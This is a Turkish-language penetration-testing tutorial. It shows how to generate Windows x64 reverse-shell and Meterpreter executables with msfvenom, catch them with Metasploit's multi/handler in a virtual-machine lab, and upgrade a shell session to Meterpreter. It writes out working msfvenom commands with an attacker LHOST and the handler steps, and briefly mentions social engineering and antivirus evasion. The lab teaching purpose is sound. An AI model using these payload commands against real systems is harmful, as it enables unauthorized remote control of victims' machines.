Merhabalar, konumuzda her detaya değinemesekte(temelde ayrı ayrı ele alınması gereken bir çok nokta mevcut.) hedef cihaza özel basit bir zararlı kod üreteceğiz ve kodumuzun hedefte çalıştırıldığında nelere yol açtığına, nasıl yöneteceğimize göz atacağız. Zararlı kodun türü fazla değişken olmakla birlikte, ele alacağımız tür uzak kabuk erişimi yani reverse shell odaklı olacaktır. Hefimizin oldukça fazla zafiyet barındıran bir cihaz olduğunu varsayarak herhangi bir kaçış ve atlatma tekniği de kullanmayacağız.
Saldırı ve Hedef Cihazları
Saldırıyı gerçekleştireceğimiz işletim sistemi Metasploit Framework kurulu olan Ubuntu 22.04, hedef cihazımız ise Windows'un oldukça eski bir versiyonu olan Windows 7 x64 Professional Service Pack 1 / 6.1 Build 7601 olacak.
Host ve Sanal makineler arsında bir network ağı kurmak için sanal makinelerimizin network arayüzlerinden birini daha önce oluşturduğumuz VMnet0 olarak atayabiliriz.
Tercihinize göre sanal bir ağ da oluşturup atayabilirisiniz. Amacımız iki cihazın da birbirine ulaşabilmesidir.
Msfvenom ile Payload/Zararlı Üretimi
Msfvenom yine oldukça geniş kapsamlı ve içerikli bir Metasploit modülü olmasına rağmen kısa ve hızlı bir şekilde hedef cihazımız için bir zararlı oluşturmaya çalışacağız. Bunun için "--list-payloads" argumanından yardım alabiliriz.
msfvenom --list-payloads | grep windows
Şeklinde bir komut ile payload listesini windows için kıstlayabiliriz.
Fakat görüldüğü üzere oldukça fazla seçenek mevcut.
Sayısını kontrol ettiğimizde ise sadece windows için kullanabileceğimiz neredeyse 1000 adet tür mevcut.
Fakat biz hedefimizin sistem özelliklerini bildiğimizi varsaydığımız için windows x64 kısıtlaması da yapabiliriz.
msfvenom --list-payloads | grep "windows/x64"
Örneğin windows/x64/shell/reverse_tcp veya windows/x64/meterpreter/reverse_tcp bizim zararlı kodumuz olabilir.
Bu payload türleri uzak kabuk elde etme amacıyla kullanılabilir. Aynı türlerin reverse yani istek göndereni yerine bind yani istek bekleyen türleri de kullanılabilir. Bu hedef ile olan ağ yapınıza ve ne yapmak istediğinize göre değişkenlik göstermektedir.
Msfvenom "-p" parametresiyle kullanılmak istenen payload'ın belirtilmesini bekler. LPORT ile reverse/bind fark etmez dinleyeceği veya gideceği adresteki kapı bilgisini bekler. LHOST değişkenide ise saldırgana ait IP adresi bilgisini bekler. Bu parametre uzak kabuk/reverse senaryosu için geçerlidir. Haricinde zaten bind olarak hedefte çalışan zararlı yazılım, zaten hedef cihazın IP adresini LHOST olarak alacak ve yayın yapmaya başlayacaktır. Msfvenom çıktı/output almak için ise "-o" değişkenini bekler. Eğer belirtmezseniz doğrudan terminal içerisinde output sağlayacaktır.
Payload seçimlerini gerçekleştirmiştik. Aşağıdaki gibi bir komutla zararlı yazılımlarımızı üretebiliriz.
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.43 LPORT=4441 -f exe -o Reverse-TCP.exe
İkinci payload türünü meterpreter olarak seçmemizin sebebi ise; meterpreter zararlı yazılımı Metasploit topluluğu tarafından zamanla geliştirilmiştir. Bu zararlı size sadece uzak kabuk sağlamamakla birlikte, barındırdığı bir çok modül ile farklı saldırı türlerini uzak kabuk üzerinden yönetmenizi de sağlar. Günümüzde doğrudan kullanımı bir çok antivirüs ve zararlı yazılım tespit araçları ile ortaya çıkartılabiliyorken, bazı tekiniklerle kaynak kodlarının değiştirilerek gizlenmesi de mümkün olabiliyor. Bu konu ileri seviye olacaktır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=4441 -f exe -o Meterpreter.exe
Meterpreter-Reverse-TCP.exe ve Reverse-TCP.exe adlı zararlı yazılımlarımızı ürettik. Şimdi ise saldırı esnasında neler yapacağımıza göz atalım.
Msfconsole ile Uzak Kabuk Oturumunun Yönetimi
Metasploit içerisinde auxiliary/encoders/evasion/exploits/nops/payloads/post türünde 6000 civarında modül yer almaktadır. Bu modülleri amacınıza göre kullanabilirsiniz.
Bizim kullanacağımız ise exploit kategorisinde yer alan ve "multi" yani bir çok amaç ve türe dayanan "handler/işleyici" modülü olacaktır. Aşağıdaki gibi msfconsole use komutu ile aktifleştirebilir ve options komutu ile de detaylarını görebiliriz.
use exploit/multi/handler
Görüldüğü üzere LHOST, LPORT gibi değerler beklemektedir. Bu ayarlar aslında Payload options için tanımlanan payload türüne bağlıdır.
Varsayılan olarak generic/shell_reverse_tcp payload türü atanmış görünüyor. Fakat bizim zararlı yazılımlarımıza atadığımız bu tür değil. Dolayısıyla bize ait olanı atamamız gerekiyor. Msfconsole set payload komutu ile süreci yürütebiliriz.
Uzak oturum/kabul elde etmeye yönelik bir zararlı yazılım oluşturduğumuz için doğal olarak payload seçeneklerinin de bu bilgileri beklemesi sebebiyle LHOST yani saldırgana ait IP adresi bilgisi ile yine saldırgana ait LPORT port bilgilerinin atamasını da gerçekleştiriyoruz.
Tüm atamalardan sonra handler/işleyici artık hazır durumda. Msfconsole run komutu ile dinleme işlemini başlatabiliriz. Bu noktada artık zararlı yazılımın hedef cihazda çalıştırılması beklenmektedir. (Farklı exploitlerden/zafiyetlerden veya sosyal mühendislik saldırılarından faydalanılabilir.)
Örneğinimizde bir şekilde hedef cihazda zararlı kodlarımızın çalıştırıldığını varsayacağız.
Reverse-TCP.exe adlı zararlı çalıştırıldığınızda hazır olan handler başarıyla uzak kabuk oturumunu yakalayarak hedef cihazın komut yürütme ortamını bize yansıtmaktadır.
Bu noktada saldırı genişletilebilir.
Handler bilgileri meterpreter zararlısı için değiştirilip test edildiğinde ise yine sonucun başırılı olduğunu görebiliriz.
/a>Meterpreter-Reverse-TCP.exe adlı zararlı çalıştırıldığınızda hazır olan handler başarıyla uzak kabuk oturumunu yakalayarak meterpreter destekli hedef cihazın komut yürütme ortamını bize yansıtmaktadır.
Bu noktada ise meterpreter içerikleri ile hedef sömürülebilir.
Sıradan Uzak Kabuğun Meterpreter Kabuğuna Yükseltilmesi
Olası penetrasyon testlerinde hedef cihazda her zaman zararlı yazılımı birden fazla çalıştırma fırsatı bulamayabilirsiniz. Bu durum özellikle hedef cihazın RAM yapısına müdehale eden veya mevcut çalışma mekanizmasındaki bileşenleri bozan exploit türlerinde sık yaşanır. Tek kurşun kalıbının anlam kazandığı senaryolar için Meterpreter'den yararlanmak isterseniz shell_to_meterpreter modülünden faydalanabilirsiniz.
Örneğin ilk zararlımız olan Reverse-TCP.exe çalışmış olsun ve sıradan bir uzak kabuk erişimi elde etmiş olalım.
background komutu ile kabuk oturumunuzu msfconsole için arka plana gönderebilirsiniz. sessions komutu ile de bu oturumun durumunu ve detayını görebilirsiniz. Dilediğiniz zaman sessions -i SessionID komutuyla da kabuğunuza/oturumunuza geri dönebilirsiniz.
Oturumu arka plana gönderdikten sonra use multi/manage/shell_to_meterpreter ile modülü aktif edebiliriz.
set session 1 komutuyla oturuma ait ID değerini modüle atamamız gerekiyor ve elde edeceğimiz yeni Meterpreter oturumunun ise mevcut oturum için kullandığımız Port ile çakışmaması gerekiyor. Dolayısıyla LHOST için önceden kullandığımız ve aktif oturumumuzun yer aldığı 4441 nolu kapıyı kullanmayacağız. Herhangi bir port atayabilirsiniz. Yine LHOST için ise bizim yani saldırganın IP adresinin atamasının yapılması gerekiyor.
Her şey hazır olduğunda run komutuyla işlemi başlayatabiliriz. Modülümüz mevcut oturumu kullanarak sıradan kabuğu meterpreter kabuğuna yükseltmeye çalışacak.
Modül tamamlandığında sessions komutuyla oturumlarımızı tekrar kontrol ediyoruz ve yeni bir oturumun oluştuğunu, bu oturumun ise meterpreter olduğunu görebiliyoruz.
session -i 2 komutuyla yeni oluşan ikinci oturum çağırıldığında ise meterpreter yükseltmesinin başarılı olduğunu tespit edebiliyoruz.
Pentestimizi sonlandırmak için tüm oturumları kapatmayı unutmayalım. sessions --kill-all komutundan faydalanabiliriz.
Teşekkürler (AkkuS)